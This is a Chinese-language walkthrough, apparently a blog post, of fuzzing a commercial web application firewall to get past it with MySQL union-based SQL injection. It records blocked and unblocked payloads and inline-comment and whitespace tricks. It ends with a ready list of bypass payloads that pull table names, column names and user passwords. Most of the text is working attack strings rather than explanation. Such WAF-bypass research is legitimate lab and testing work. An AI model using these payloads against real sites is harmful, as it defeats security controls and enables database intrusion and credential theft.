QQ交流群:876554035
#01 环境简介
服务器:windows2008 R2
软件:phpstudy20180211
php 5.4.45
mysql 5.5.53
某锁win_3.1.18.13服务端版本
#02 Fuzz过程
以基于union注入为例
fuzz order by
过程如下:
?id=1’ order --+ 不拦截
?id=1’ order by --+ 拦截
nna那应该是waf匹配了order+by
?id=1’ order /!by/ --+ 拦截
?id=1’ order /!60000by/ 1 --+ 不拦截,但是报错
翻译过来:您的SQL语法有误; 检查与您的MySQL服务器版本相对应的手册,以在第1行的’1-'LIMIT 0,1’附近使用正确的语法
那么猜测是要低于mysql的版本吗?(我在fuzz某狗的时候里面的数字要高于50000以上,可能某锁要低于mysql版本,便随便试了个200000)
?id=1’ order /!20000by/ 3 --+ 不拦截,且执行成功
?id=1’ /!20000order/by 3–+ 不拦截,且执行成功
?id=1’ /!20000order/by 4–+
用过狗payload去试试,首先替换空格
?id=1’ order/**/by --+ 拦截
?id=1’ order/!123/by --+ 不拦截,但是报错
换成过够payload
?id=1’ order/!60000bbb/by 3 --+ 不拦截,成功绕过
?id=1’ order/!60000bbb/by 4 --+ 不拦截,报错
过狗payload在这个位置也是可行的。
fuzz union select 1,2,database()
fuzz过程如下
?id=-1’ union --+ 不拦截,报错…
?id=-1’ union select --+ 拦截了,同样考虑用内联注释的方式绕过
?id=-1’ union /!20000select*/ --+ 不拦截,报错…
?id=-1’ union /!20000select*/ 1,2,3–+ 不拦截,报错,这里的报错就跟前面不一样了,前面没加参数肯定错,但是这里加了,报错,说明有问题。
内联注释恰面的union尝试一下。
?id=-1’ /!20000union/ select 1,2,3–+ 拦了
?id=-1’ /!20000union select/ 1,2,3–+ 拦了
?id=-1’ /!20000union select 1,2,3/–+ 拦了
那就考虑用union all select
?id=-1’ /!20000union all select 1,2,3/–+
还是拦截了,在考虑换个注释的位置
?id=-1’ union /!20000all select 1,2,3/–+ ok,nice没拦,执行成功
然后替换参数
?id=-1’ union /!20000all select 1,2,database()/–+ ok
给我拦了,应该是database()的原因 先加个空格再说
?id=-1’ union /!20000all select 1,2,database ()/–+
ok 空格绕过了
还可以考虑其他分隔符:
?id=-1’ union /!20000all select 1,2,database/**/()/–+
同样可以达到绕过的目的
后面直接贴payload吧
1.?id=1’ /!20000order/by 3–+
2.?id=-1’ union /!00000all select/ 1,2,3–+
3.?id=-1’ union /!00000all select/ 1,database/**/(),3–+
4.?id=-1’ union /!00000all/ /!00000select 1,2,table_name from/ information_schema.tables where table_schema=‘security’ limit 3,1 --+
5.?id=-1’ union /!00000all/ /!00000select 1,2,column_name from/ information_schema.columns where table_name=‘users’ limit 2,1 --+
6.?id=-1’ union /!00000all/ /!00000select 1,2,password from/ users limit 1,1 --+